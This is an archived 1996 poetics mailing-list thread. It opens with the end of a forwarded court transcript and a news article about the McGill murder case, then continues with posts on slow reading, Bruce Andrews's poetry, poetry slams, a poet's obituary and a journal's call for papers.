>the names that you listed, all of those people only say that Kambule and
>Berry said that they took her out on a road and put her out. Is that right?
> A. Yes.
> Q. Do we even know for certain what road we're talking about here?
> A. No.
> Q. So do we even know for certain that if this woman was killed it occurred
>here in Hinds County?
> A. We know that the crime began in Hinds County.
> Q. But we don't know where it ended. Is that right?
> A. Correct.
> Q. Right now my client is not charged with murder. Is that right?
> A. Correct.
> Q. And is it your intention to try to present a murder charge against him to
>the grand jury?
> A. Yes, sir.
> Q. Did Mr. Kambule--what time was it when they went through the ATM?
> A. 5:55.

> Q. And what time was it when they got to Mr. Rhodes' apartment?
> A. There's some discrepancy on that.
> Q. What does Rhodes say?
> A. I think Rhodes and--I believe Rhodes said around 8:00 or
9:00 P.M.
> Q. What about Kambule?
> A. He didn't say.
> Q. And Kambule testified--or in his statement he told you
that--he told you
>that he did see my client with a gun. Is that right?
> A. Kambule? Yes, sir.
> Q. How long--you said that Kambule said that Mr. Berry left
the car with Ms.
>McGill; and he tried to turn the car around, couldn't do so, and Berry
>returned shortly.
> A. Yes, sir.
> Q. What is shortly?
> A. I don't know.
> Q. Was he any more specific than that?
> A. No.
> Q. Did Mr. Kambule tell you that while Mr. Berry and Ms.
McGill were outside
>of the vehicle that he heard a gunshot?
> A. He specifically said he did not hear a gunshot.
>BY MR. FORTNER: That's all.
>----------
>----------
>MADISON COUNTY WILL TRY SUSPECTS IN MCGILL SLAYING
>
>[Note: This is a copy of an article that ran in Jackson, Mississippi's
>Clarion-Ledger Neewspaper on April 5, 1995]
>
> Pamela McGill's suspected killers will be tried in Madison County,
officials
>said Thursday.
> Investigators said they don't plan to directly file charges related to
>McGill's slaying against Santonio Berry, 21, and Azikiwe Kambule, 17, but
>will present the case to the grand jury as a capital murder punishable by the
>death penalty.
> "I requested the Madison County District Attorney take the case and
he's
>agreed to do that," said Hinds County District Attorney, Ed Peters.

> "The family, from the beginning, has expressed a desire that the people
>charged get the death penalty and the best way is to send it to another
>county," Peters said.
> McGill, 31, disappeared Jan. 25. Police say the incident began in Hinds
>County, where she was kidnapped, and ended in Madison County, where she was
>slain.
> "Both counties would have jurisdiction," Peters said.
> Police say Berry wanted her sports car and he and Kambule kidnapped her from
>her Jackson apartment. Kambule told police Berry drove the car to a deserted
>road outside Jackson and shot McGill in the head after making her walk into
>the woods and kneel.
> Berry, Kambule and Rudy Rhodes, 19, were arrested Feb. 7. Berry and Kambule
>were charged with armed robbery and kidnapping, Rhodes was charged as an
>accessory.
> Rhodes is accused of arranging to sell McGill's red 1993 Dodge Stealth in
>Laurel; investigators say Pammy Porter, 19, Rhodes' fiancee, also knew of the
>crime. Porter also is charged as an accessory.
> Madison County Coroner Alex Breeland said an autopsy confirmed McGill was
>shot in the back of the head. The body was released to her family Thursday.
> McGill's body was found Thursday in a wooded area near North County Line
>Road just inside Madison County after Berry pinpointed the general location
>for investigators.
> Two previous searches, based on Kambule's vague description of the site,
>failed.
> Hinds County Sheriff Malcolm McMillin said he had no preference which county
>will try the case.
> "My position is there's good judges and good juries in Hinds and Madison
>counties," he said.
> Peters sees things differently.
> "The jurors in Hinds County have a reputation for refusing to vote for the
>death penalty," he said. "Certain judges in Hinds County have gotten so
>prejudiced against the prosecution that they won't even allow confessions to

>be entered as evidence."
>_____----------
>----------
>END OF TRANSMISSION
>
>

↑ Index

178. **DS**
Re: growing up poems
Thu 15 Aug 1996

Well then, why not Ginsberg.

At 11:38 AM 8/15/96 -0500, you wrote:
>For Janet Gray:
>
> Two writers who have much material which may be of interest, use
>are Joseph Bruchac and Leslie Marmon Silko. Excellent writers both.
>Joseph Bruchac has also written many childrens' books presenting Native
>American texts.
>
> Though not poems (more prose poems, really) two excellent
>presentations of growing up in a marginalized community are Jack
>Kerouac's Visions of Gerard and Doctor Sax. Visions of Gerard especially
>has a polyphony of sounds in its movement among Nashua and Lowell
>Quebecois and American English.
>
> As my Pepere used to say, thank God for Kerouac--now Americans
>know Quebecois can be more than hockey players and lumberjacks.
>
> Lowell now has along with the Quebecois and Greek and Irish
>communities Kerouac wrote of a vital and growing Cambodian community.
>
> Comme on dit: Vive les differences!
>
>--dave baptiste chirot
>
>

↑ Index

179. **Tony Green**
Re: speed & poetry (fwd)
Thu 15 Aug 1996

Thanks D Chirot for comments on speed! !!! Slow reading has long been a pleasure, like a couple of hours reading a page of prose (I remember doing this kind of reading some years ago for preference and being so delighted with it that I could not bear to read at academic rates of page- per - 45 - seconds for many years).

Regarding slow looking, looking like a painter looks and similar thoughts see James Elkins: The Object Stares Back (Simon & Shuster, NY, March 1996) which a friend put in my hands recently as a loan only. (Forcing fast reading on me, really.) The modes of attention with ears and eyes are various and too little explored I believe.

An hour looking at a Rembrandt portrait (say) is barely a substitute for having the same portrait in your house on your wall for thirty years, some days seeing it fleetingly with little attention, some days absorbed by it for some indefinite time -- the conditions of looking it was made for.

Ill and in bed one black and white ink drawing on the wall opposite was enough to keep me happy for a couple of hours one day this week. I watched the six rough oriental-looking brush marks and four ink splashes shift in their varied and incomplete suggestions of images, more engagingly than rabbit-duck readings of the "same" drawing.

For sheer slowness, Aram Saroyan one-word poems, or Clark Coolidge's two word poems are of that order?

But then in midst of longer texts I recall falling over the two words "monopoly polopony" of Ron Silliman (isn't that in Ketjak?), a hook, I'd say, on which I was hooked for quite a long while.

Memory is fun that way. Like dreams, so hard to get it all down as it presents itself to the wandering "mind" (a retelling as story-teller of the intimate contents, all that soul to soul intention of openness of J Kerouac). It all comes at you to quick and too dense and too elaborate for slow sequential speech. Imagine telling what each image in a quick-cut movie says before the next image hits.

Cough, cough cough, I'm going back to bed.

Tony Green,
e-mail: [redacted]

↑ Index

180. Gabrielle Welford
Re: problems with the Azi message
Thu 15 Aug 1996

Sorry, I don't know. Unless it's just cos it's so long. I'll write maybe and tel lthem. gab.

On Thu, 15 Aug 1996, Julie Marie Schmid wrote:

> *Hey--*
> *That happened to me, too. I thought it was something with my program or my Mac. What's the deal?*
>
> *On Thu, 15 Aug 1996, Gabrielle Welford wrote:*
>
> *Sorry, technical problems. Chas said it kept jumping him off e-mail.*
> *gab. Objections...?*
>
> *On Thu, 15 Aug 1996, maria damon wrote:*
>
> *In message <[redacted]> UB Poetics*
> *discussion group writes:*
> *Did anyone besides Charles have problems with this message coming into their system? Sorry if it did. gab.*
>
> *problems as in technical difficulties or problems as in objections?*

↑ Index

181. Tony Green
Re: speed & poetry (fwd)
Thu 15 Aug 1996

sorry a line got omitted by the machine in my last posting, makes not too much difference I guess. except that I mentioned James Elkins' book Simon & Shuster, NY, March 1996 and the details got left out.

Tony Green,
e-mail: [redacted]

↑ Index

182. **Tony Green**
Re: speed & poetry (fwd)
Thu 15 Aug 1996

---

and now i find it restored on my screen, spooky

Tony Green,
e-mail: [redacted]

↑ Index

183. **Gabrielle Welford**
Re: info on azi (fwd)
Thu 15 Aug 1996

Yes, fucking sick about describes it. gab.

↑ Index

184. **George Bowering**
Re: POETICS Digest - 10 Aug 1...
Thu 15 Aug 1996

> *To Charles Bernstein---*
>
> *Wondering how you are this late summer eve. Or summer's eve. Since I never even look at the Digest except when the when turns into the then (so dumb, forget it), am glad to see your CB. HOw does one say hello without talking to the whole team? Hi team Ever, Ann!*

I was wondering that too, Charles. I want to tell you how much you mean to me, and especially how much I savor that weekend in the motel in Wyoming, N.Y.

George Bowering.

"Sighing is extra."

--Gertrude Stein

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

185. **Rod Smith**
Re: Bruce Digest - 13 Aug 1996 to 14 Aug 1996
Thu 15 Aug 1996

If early Bruce (Edge, Wobbling, Love Songs, Executive Summary)
"a manic "found language" machine"

later (Give em Enough Rope, I Don't Have Any Paper), as Perelman in
Marginalization of Poetry
"a kind of megaphone of the political unconscious."
Question of whether newish long work Lip Service might constitute yet another 'period' in his work.
But oh so much more to it than that.
Lots more on this early & late in forthcoming
Aerial 9: Bruce Andrews. Contributors to include DuPlessis, Quartermain, Perloff, Levy, Friedlander, Rasula, Golding, Lazer, Price, Bellamy, McGann, Lee Ann Brown & Hannah Weiner colab, Mittenthal, many others. Out this fall, you'll be the first to know.

--Rod

↑ Index

186. George Bowering
Re: speed & poetry (fwd)
Thu 15 Aug 1996

> *From a relative-deprived Nelson (both my parents were only children),*
>
> *Gale*

If that's all they were, how did they handle bringing up a third child?

George Bowering.

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"Sighing is extra."

--Gertrude Stein

↑ Index

187. Joel Kuszai
fwd this? (fwd)
Fri 16 Aug 1996

---------- Forwarded message ----------
Date: Tue, 13 Aug 1996 12:27:46 -0400 (EDT)
From: Juliana Spahr <[redacted]>
To: [redacted]
Subject: fwd this?

Joel:

Can you forward this to list? I'm out of my domain.

I have not left poetix list but just increased my email for some reason.

I seem to need 3 poetix lists.

That was sad joke attempt.

Here is my new address since I sent it out and now some of it is false:

Juliana Spahr
182 Elm St
Albany NY 12202

[redacted] (this changed)

I can be reached at some point soon at [redacted].

Right now I can be reached at [redacted] or [redacted].

I welcome anyone passing through Albany to call me up.

↑ Index

188. Gale Nelson

Re: speed & poetry (fwd)

Fri 16 Aug 1996

They were precocious perhaps...
Gale
----------Original message----------
>>From a relative-deprived Nelson (both my parents were only children),
>
>Gale

If that's all they were, how did they handle bringing up a third child?

George Bowering. "Sighing is extra."

2499 West 37th Ave., --Gertrude Stein
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

189. **Gale Nelson**

Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996

Fri 16 Aug 1996

On the ever-continuing Bruce Andrews thread:

Here's a poor rendition of one page from _Film Noir_, with larger letters being represented by: when just the first letter is larger: _GREAT (G is big) the whole word is larger (than "standard"): _GREAT_ (all letters big)

Again, apologies for the poor representation:

```
          TAUNTS
                ORAL
            HUSTLE

        CRADLE

                                  _DRUID?

                    HINGES

                    RIDE
                     LAVA
                          _XEROX

        BADGES
             TATTLE
                         SHILL
                                 FEEBLE
                          MY PICKININNY

      NATIONAL
             TOXIC

                              EAR-DRUMS
                                  LULL
           TINT ECLAIR

             PRAT
            SPIRE

                    _MUCUS_
     _HOLOGRAPH_
                              _INDIGNENT_
            _PURE_
                                  _HAY_
```

*** end of page

The sense of words floating -- having negative space to cushion -- will perhaps increase the "slow reading" Tony Green was suggeting happens when he looks at one-word or two-word poems -- & gives the words a level of primacy I find less apparent in the denser text fields I've been more likely to see from Bruce Andrews in more recent years. Better or worse? That is not the point. What the reader is asked to do -- how gaps are formed, seems more pertinent.

Cheers, Gale

↑ Index

190. Gale Nelson
Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996
Fri 16 Aug 1996

Bruce Andrews thread ad nauseum?

Corona seems to hold together a more fragile vocal register -- the swaggering, propulsive energy in "stalins genius" (quoted from, in passing, yesterday) is little be found here. There's a hitch in the swing, to use baseball lingo here, where the poem becomes, at many turns, about the _hitch_.

find it
never have
have it

reads section 17 of this sequence, and the movement between search and possession/and the possibility of possession leads to wonderment in a precisely tentative ground.

To read section 19:

my costumes

is to read a form of self-representation that cannot be pinned down. The "my" is a multivalenced and the "costumes" equally so. These two words, then, could be read as "referential" in a "sincere" sense, "exploratory" of what "sincerity" might represent, or simply a passing reference to any _my_ (not necessarily the "speaker/author/narrator" -- possibly just a passing "Joe"/"Joanne") or to no specific _my_ whatsoever. The "cosume" is equally open -- a reader might think of the writer wrapping himself (in this case a himself) in the costume of poet, of "a creature" (there's lots of "nature" blooming or emerging in other passages), etc.

The driving force for me in the poem, is the energy constructions through the specificity of word selections in a taut field -- so that the page reverberates many pages later (and earlier) as one passes through from one field to the next. Context is -- s p a c e d o u t -- given a very real breathing room. The gaps are laden. In later Andrews, the propulsion factor seems the constructive force --

the gaps are in the inability to process all of the information that comes careening toward the reader. So, yes, I'd say that Andrews' work has changed over the last 20-some years.

Those of you who know Bruce Andrews and have talked with him about his work can nod happily, saying, "Gale Nelson is an eccentric reader." But, alas, this is where I'm at as such reader, eccentric, but interested.

↑ Index

191. Henry Gould
Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996
Fri 16 Aug 1996

Just an aside to Gale's meditations on Bruce Andrews: at the Hoboken Russ-American conference, Andrews read right after Jackson Mac Low. The similarities, to my uneducated ear (I'v read very little of either of them) were interesting. In both of them, the long riveted lines of vocabulary, full of venom & glee, like a glossary of the Byzantine empire read aloud by aliens from outer space. Only Mac Low seemd more wry & somber; in Andrews the glee factor was higher. Ecclesiastes & King David, respectively. - Henry Gould

↑ Index

192. filch
A.N. Chicherin
Fri 16 Aug 1996

I wanted to thank all for the info on Tyuonyi, Foss and Taggart.

New question: Has 'Change of All' by Aleksey Nikolaevich Chicherin (1924) ever been translated into english? If so where would I find it?

filch

↑ Index

193. Rod Smith
New Andrews, Auster, Lazer &&& @ Bridge Street
Fri 16 Aug 1996

All those new Northwestern collections, & much else.

1. _Paradise & Method: Poetry & Praxis_ by Bruce Andrews, Northwestern, $16.95. Andrews' essays & interviews over two decades. "A syndicalism of syntax and reference -- and of their intertwining that looks out beyond the self-enclosures of the text toward an implicating of wider social (& bodily) horizons. The vectors outward, an arrow array, love's body, from language's social body."

2. _Why Write?_ by Paul Auster, Burning Deck, $10. Little book of essays including title piece, wonderful reminiscence of Reznikoff, & "Twenty-five Sentences Containing the Words _Charles Bernstein_."

3. _Ports of Entry: William S. Burroghs and the Arts_, Robert A. Sobieszek ed. w/ an afterword by Burroghs, L.A. County Museum of Art/ Thames & Hudson, $24.95. Big art book for the price including Burroghs' recent paintings, older collaborations w/ Gysin & others, Haring, Rauschenberg, & others. Lots o' text too.

4. _Arcade_ by Erica Hunt, woodcuts by Alison Saar, Kelsey St., $15. Another fine Kelsey St. artist/poet production. "The culture beats the brow with equal parts spectacle and punishment, often in the same sitcom (coming to a theater _in you_) . . .

5. _Opposing Poetries Volume One: Issues and Institutions_ by Hank Lazer, Northwestern University Press, $16.95. "A broad awareness of the decentralization of poetry production, as well as an established critique of the limited nature of today's professionalized and institutionalized poetry writing, have had a salutary effect on attempts to describe American poetry." This collection is varied & engaging. Thanks Hank.

6. _Opposing Poetries Volume Two: Readings_ by Hank Lazer, Northwestern, $16.95. Essays on Bernstein, DuPlessis, Silliman, Andrews, Hejinian, Howe, Retallack, Messerli, Sherry, & & &. This collection is varied and engaging. Thanks Hank.

7. _Swoon Rocket_ by Bill Luoma, The Figures, $6. It's "gobi time"!

8. _The Dance of the Intellect: Studies in the Poetry of the Pound Tradition_ by Marjorie Perloff, Northwestern, $16.95. Back in print! Essays on Pound/ Stevens, Pound/Cage, Pound/Joyce, Oppen, Beckett, L=A=N=G=U=A=G=E, etc.

9. _Green and Black: Selected Writings_ by Leslie Scalapino, Talisman House, $10.50. 100 page selected, last 25 pages recent work from "New Time" & the title piece. "Writing in its simplest movements is the light elation. The movements are only in that and induce themselves."

10. whaddya lookin' for?

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, card # & expiraton date, we will send a receipt with the books. We have to charge for shipping out of U.S.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

↑ Index

194. Rachel Loden
Re: POETICS Digest - 10 Aug 1...
Sat 17 Aug 1996

George Bowering wrote (the bit beginning "I was wondering..."):
>
> >To Charles Bernstein---
> >
> >Wondering how you are this late summer eve. Or summer's eve. Since I never
> >even look at the Digest except when the when turns into the then (so dumb,
> >forget it), am glad to see your CB. HOw does one say hello without talking to
> >the whole team? Hi team Ever, Ann!
>
> I was wondering that too, Charles. I want to tell you how much you mean to
> me, and especially how much I savor that weekend in the motel in Wyoming,
> N.Y.

Not that I've forgotten our last blissful night at the Bide-A-Wee in Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh Charles, how awful to have to say these things to you in front of the hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction manual.

↑ Index

195. Bob Holman
National Poetry Slam
Sat 17 Aug 1996

The National Poetry Slam! unbelievable

Will be held Aug 20-25 in PoLand, OR -- check out amazingly full sked at: http://www.teleport.com/~bigmouth/

Bob Holman will be booksignreading with Marc Smith at Powell's Books on Tues., Aug 20, 7:30.

All five parts of THE UNITED STATES OF POETRY will be screened at McMennimin's Brew Pub Cinema beginning at 9:30 on Tues., Aug 20.

On Wed, Aug 21, apres Slam (11 ish), the rich and dense PRINT (16mm) of USOP Show 5 (Eigner, Creeley, Harryman, Depp, Franti et al) will be screened, again at MacMinnamon's.

27 Slam vennues will be represented...

↑ Index

196. Bob Holman
National Poetry Slam -- AOL CyberSlam
Sat 17 Aug 1996

Celebrating the opening of the National Poetry Slam, USAWeekend will present a CyberSlam ...

Get a jump on the Nationals! Taste the bitter fruit of CyberSlam on :

Monday, Aug. 19, midnight, ET.

Tonguethrust Gladiators (sorry, text only) include: Beth Lisick (independent from Oakland), Mychele (Phoenix) Alexandra Oliver (Vancouver), Beau Sia (NYC), Ngoma (CT), and Jeff Meyers (ringer from PoLand).

Judge from the comfort of yr Barcalonger. I think it's a choice of 3: Thumbs UP, Thums DOWN, All (or No) Thumbs (sideways).

From AOL, Go To Keyword USAWeekend

The Countdown to the Countdown's Being Counted Down!

Babalu Holmanski

↑ Index

197. maria damon
Re: POETICS Digest - 10 Aug 1...
Sat 17 Aug 1996

In message <[redacted]> UB Poetics discussion group writes:
> George Bowering wrote (the bit beginning "I was wondering..."):
> >
> > >To Charles Bernstein---
> > >
> > >Wondering how you are this late summer eve. Or summer's eve. Since I never
> > >even look at the Digest except when the when turns into the then (so dumb,
> > >forget it), am glad to see your CB. HOw does one say hello without talk-ing

> > to
> > >the whole team? Hi team Ever, Ann!
> >
> > I was wondering that too, Charles. I want to tell you how much you mean to
> > me, and especially how much I savor that weekend in the motel in
Wyoming,
> > N.Y.
>
> Not that I've forgotten our last blissful night at the Bide-A-Wee in
> Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh
> Charles, how awful to have to say these things to you in front of the
> hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction
> manual.

was that Pomo or po-mo?

↑ Index

198. Hank Lazer
Re: George Starbuck
Sat 17 Aug 1996

George Starbuck died Thursday morning at his home in Tuscaloosa at age 65 after a twenty year bout with Parkinson's disease. A fine poet and generous person, George directed the graduate writing programs in creative writing at Iowa (where, ages ago, he hired Kathleen Fraser) and at Boston University. While at SUNY-Buffalo in 1963, he initiated a successful challenge of New York's Feinberg loyalty-oath law. After a semester as writer-in-residence, George decided to live in Tuscaloosa. For the past several years, he has been a kind friend, much valued for his learning, his conversation, and his advocacy of a wide range of poetries.

--Hank Lazer

↑ Index

199. Joe Amato
Re: speed (long)
Sat 17 Aug 1996

---

a little latecoming to this thread, but thought the following pertinent... apologies if this duplicates a prior post...

best//joe

SPEED: AN ELECTRONIC JOURNAL OF TECHNOLOGY, MEDIA AND SOCIETY

---

http://www.arts.ucsb.edu/~speed

***

Bulletin: June, 1996: Please Forward

***

1. SPEED 1.3: AIRPORTS AND MALLS HAS ARRIVED
2. CALL FOR PAPERS: SPECIAL ISSUE ON PAUL VIRILIO
3. CALL FOR PAPERS: FETISHISM: HOW CYBORGS FUCK?
4. ABOUT SPEED/ WHAT, WHO, HOW?

"Postmodern cyber criticism collides with cyber cool in this smart, savvy, and, dare I say, hot looking journal of technology, media, and society. The intention of _SPEED_ "is to contribute toward a democratic discourse of technology and media, one that is always focused upon the material conditions of life that technologies and media constitute and demand, and yet does not lose sight of the power of ideas to change those conditions." That is, wired culture gets self-reflexive, and it's about time."

--from GNN, on-line Whole Internet Catalog

1. SPEED 1.3: AIRPORTS AND MALLS HAS ARRIVED

"The globe shrinks for those who own it; for the displaced or dispossessed, the migrant or refugee, no distance is more awesome than the few feet across borders or frontiers." -- Homi K. Bhabha.

"This version of the SPEED periodical/software concerns the transformation of social space by information technologies, and the value of dystopian mapping practices in accounting for the re- locations of personalized politics that those transformations demand....

"A sheer centralization of aesthetics signals an empowered domain of inhabited information. Perhaps no social space serves to exemplify this development more so than the airport. It stands for the globalization of participant space under the sign of hegemonic capital circulation, and of the standardization of capital and circulation under the sign of information. The mechanical and totemic work that it does in such service wishes to succeed at, and complete, a utopian theater. But something is still messy. For Us, the story that it, as a place, tells about itself and asks us to play a part in, suffers a vanity of false resolution and

improper closure. Its utopian infantilization of our bodies which it mediates does not finally succeed in convincing us that the global system of temporized space it links is quite truly so seamless and resolved. For most, this was never even a question. For all, this is part of the rude claim made by the infomatic revolution in the built environment....."

-- from "SUR-Urbia: An Introduction to Airports and Malls."

VERSION 1.3 "AIRPORTS AND MALLS" INCLUDES:

BENJAMIN BRATTON (U.C. SANTA BARBARA)
"SUR-Urbia: AN INTRODUCTION TO AIRPORTS AND MALLS"

JOHN THACKARA (NETHERLANDS DESIGN INSTITUTE)
"LOST IN SPACE - A TRAVELER'S TALE"

BOBBY RABYD (BROWN UNIVERSITY)
"AIRPORT NOVEL"

JUSTIN STINCHCOMBE (U.C. SANTA BARBARA)

"FLY AWAY LITTLE BIRDIE"

JEFF GATES (EYE to I)
"IN OUR PATH: ESSAYS"

JASON BROWN (U.C. SANTA BARBARA) AND GABRIEL WATSON (ECHO IMAGES)"PROSTHESIS"

MARK BURCH (UNIVERSITY OF HAWAII)
"PLATEAUS OF CONSUMPTION: THE BIOSEMIOTICS OF CONSUMER FASCISM"

CARINA YERVASI (UNIVERSITY OF MICHIGAN)
"PRE/SUB/URBAN SPRAWL: NINETEENTH-CENTURY PARISIAN PASSAGE AS
URBAN MALL"

JENNIFER SMITH (McMASTER UNIVERSITY)
"THE MALL IN MOTION: A NARRATIVE STROLL THROUGH THE OBSTACLE
COURSE"

"THE FLESH MADE IMAGE, LONG LIVE THE NEW IMAGE"
A CONVERSATION WITH JEFF HARRINGTON OF iDEAL oRDER/PSYCHIC TV

"BIOSPHERE 3: AUDIENCE WITH/OF THE MALL OF AMERICA"
A CONVERSATION WITH HERB SIMON OF SIMON AND ASSOCIATES

WITH ARTWORKS BY:

JEFF GATES (EYE to I)
"IN OUR PATH"

ROBERT NIDEFFER (U.C. SANTA BARBARA)
"TERMINAL CIRCLES"

JASON BROWN (U.C. SANTA BARBARA)
"MOVING PICTURES"

MICHELLE WAKIN (U.C. SANTA BARBARA)
"FOR YOUR SAFETY"

---

2. SPEED 1.4: SPECIAL ISSUE: ON PAUL VIRILIO

We are currently reviewing abstracts and proposals for articles for a future transmission of _SPEED_ (WWW-specific projects encouraged) on the critical significance of the work of Paul Virilio. In extremely diverse arenas Virilio's cybernetic systems theory of the social has arranged the horizons of wildly unlikely moments of questioning. As his vision of interpretation/accusation crosses the spectrum of disciplinary knowledges (while being at "home" in none), we now hear literary critics speaking of the military origins of the city-state, newscasters phrasing a "Nintendo War," historians of science commenting on the phenomenology of electronic banking, architectural theorists conceiving "the velocity" of airport space, and computer industry professionals discussing the political history of the film projector. Certainly these peculiar arrangements are not to be entirely credited to (blamed on?) Virilio, but they do suggest that his vocabulary is significant beyond the relatively narrow concerns of a "Virilio Studies." We hope, therefore, to both interrogate and expand what it is possible to make "Virilio" say.

---

3. SPEED 1.5: FETISHISM: HOW CYBORGS FUCK?

"Object Relations" becomes a difficult strategy for love in a virtualizing world. Difficult, but still preferred. "Fetishism: How Cyborgs Fuck?" will cut between the technologies of fetishism and the fetishisms of technology -- from the techno-eroticism of B/D and S/M to the B/D and S/M of postmodern advertising. Future Sex? Yes, thank you. As long as we can keep our black patent-leather Newton PDA's! "That's a big hard drive you've got there, General!" The issue is desire, or rather desire transformed into technology's modes of enframing and poesis. The moments that these actions are made for "devices" ("ooh, it's so smooth") and not "technologies" ("we've got 98% efficiency, sir") become even more to the point. This issue will include projects relating to, but not exclusive to, Cyborg Studies, techno-psychoanalysis, transfeminism, S&M Studies,

CyberSex, the cinematics of just-in-time alienation, and all other general economies of dissemination. WWW-based proposals are particularly encouraged.

---

4. ABOUT SPEED

SPEED provides a forum for the critical investigation of technology, media and society. Our intention is to contribute toward a democratic discourse of technology and media, one that is always focused upon the material conditions of life that technologies and media constitute and demand, and yet does not lose sight of the power of ideas to change those conditions. We feel that as media of various kinds become more ubiquitous, what it means to live with and talk about a "medium" changes and expands, and so do the critical vocabularies of interpreting what those transformations indicate. Our primary goal in that effort is to foster a cross- fertilization of ideas between communities of people in the "academy" and "industry" too often separated, not by interest or common concern, but by artificially imposed disciplinary and organizational boundaries. We think that _SPEED_ is a promising step toward making these institutional boundaries more permeable, and a critical politics of "mediated sociality" more powerful.

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** TO SUBSCRIBE TO _SPEED_, send e-mail to [redacted] with "subscribe" in the subject header. In addition to receiving all future issues, you will be kept up to date on developments regarding the journal.

----------==========----------

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Please send all submissions, criticisms, praise, suggestions, or anything else you have on your mind to: [redacted].

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If for whatever reason you need to communicate with us via the U.S. Postal Service, please send your correspondence to:

SPEED
c/o Robert Nideffer
Department of Art Studio
University of California, Santa Barbara
Santa Barbara, CA. 93106

----------==========----------

ISSN 1078-196X

Benjamin Bratton
Department of Sociology
University of California, Santa Barbara
[redacted]

SPEED: An Electronic Journal of Technology, Media and Society
http://www.arts.ucsb.edu/~speed
[redacted]

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200. **maria damon**
Re: George Starbuck
Sat 17 Aug 1996

---

thanks for the news hank. 65 is much younger than i would have placed him...
md

In message <[redacted]> UB Poetics discussion group writes:
> George Starbuck died Thursday morning at his home in Tuscaloosa at
> age 65 after a twenty year bout with Parkinson's disease. A fine
> poet and generous person, George directed the graduate writing
> programs in creative writing at Iowa (where, ages ago, he hired
> Kathleen Fraser) and at Boston University. While at SUNY-Buffalo in
> 1963, he initiated a successful challenge of New York's Feinberg
> loyalty-oath law. After a semester as writer-in-residence, George
> decided to live in Tuscaloosa. For the past several years, he has
> been a kind friend, much valued for his learning, his conversation,
> and his advocacy of a wide range of poetries.
>
> --Hank Lazer

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201. **Douglis Beck**
textual graphicalities
Sat 17 Aug 1996

---

as to problems with the azi text, & yes I'm with ya there; technical difficulties yes, but an interesting (though quite unreadable) graphic/text of sorts. look for it as a cover to something or other coming soon from StL,MO. get back to ya on that one.

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202. **Douglis Beck**
poetry & speed; poetry on speed; & a 180 turn around for love
Sat 17 Aug 1996

I don't think anyone has mentioned Alice Notley's texts with regards to poetry/speed/slowness. "it seems that" "their composition" "as compilations of" "quotes" "from various" "though unknown" "sources are both" "interesting & resistent" "to speed" "reading" -& writing, I might add. typing all those quote marks takes TIME. reading them does as well, which is my point.

poetry ON speed seems more fun. now, I'm not necessarily talking about narcotics, certainly a possibility (& reality I'm sure), but other options could be writing while driving, writing really fast, writing while driving really fast, or reading/performing really fast. these would not be cultural products of our hyper-whatever (hypertext?-writing that can be transmitted very fast) society that demands instant access &c, but conscious decisions of an inherent speed of some things, while there is a slowness to others. to make the anology with colors: I can't imagine a slow red or yellow, nor a fast brown. interestingly blue seems to swing both ways. (cf: bill gass "on being blue")

as for the other: stand up & turn around. thanks deb.
see ya.

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203. **Joseph Zitt**
Re: National Poetry Slam
Sat 17 Aug 1996

On 17 Aug 96 at 19:17, David Benedetti wrote:

> *I realize this is probably an old issue, but having tried to go to a few "poetry slams", I find it is like watching wrestling on TV, and has very little to do with poetry and a lot to do with the lowest common denominator of audience entertainment/jacking off. Does anyone else feel this competitive/entertainment trend in poetry readings (in an effort toward popularity) is the wrong direction to move in...?*

I'm growing to enjoy the slams more and more as time goes on. I started out opposed to them, but have sort of come around. Last night, my ensemble performed as the feature at the Dallas slam, and I was one of the judges.

The poetry has a wider range than I might expect -- there's seeming to be less in-your-face assault of late and more personal material. As necessitated by the rules, the best of the performances are very focused, some toward audience assault, and some much quieter material. In fact, the older-style assault poetry is getting lower scores of late, and everyone seems to be getting tired of the endless array of Maggie Estep clones. This is leading to a wider range.

For a while, I hosted a quite popular poetry event that was pretty much the anthithesis of the slams, and got much of its attendance from people who, having started at the slams, were interested in moving into other areas. (That it fell apart was due not to the material, but to personality conflicts among the hosts.)

I think its very good that some poetry is moving toward audience entertainment. Fortunately, it's not the only direction that it's leading, and it's opening doors to other possibilities. Our ensemble's work is perhaps closest to the work of the Four Horsemen than to anything else we've run across, and probably

would not win a slam, but much of our audience has come from the people who were first turned on to verbal performance by attending slams.

There's nothing at all wrong with being popular or entertaining. And, at least around here, it's doing more to help encourage other poetries than it is hindering them. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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204. Joseph Zitt
Re: National Poetry Slam - David Benedetti
Sat 17 Aug 1996

On 17 Aug 96 at 19:26, filch wrote:

> *There's actually a guy in Austin named Whammo who approaches his readings like they were a wrestling match and he even looks like a wrestler and some of his poems are some of the most interesting political word play skewers I have ever heard.*

Yeah! Wammo's dynamite (though he's looking much less like a wrestler nowadays); he won a slam here in Dallas last week, and is heading off to Portland with the Austin team. I've worked with him some, and he's very clear about what he's doing and how he's doing it. One of the best performers around. (I saw him opening for Lydia Lunch at South By Southwest a few months back. He was captivating (while Lunch was dull enough, going for the easy shots without much performance in it, that we left soon into her set.)) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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205. JOEL LEWIS
Re: Williams house to be sold
Sat 17 Aug 1996

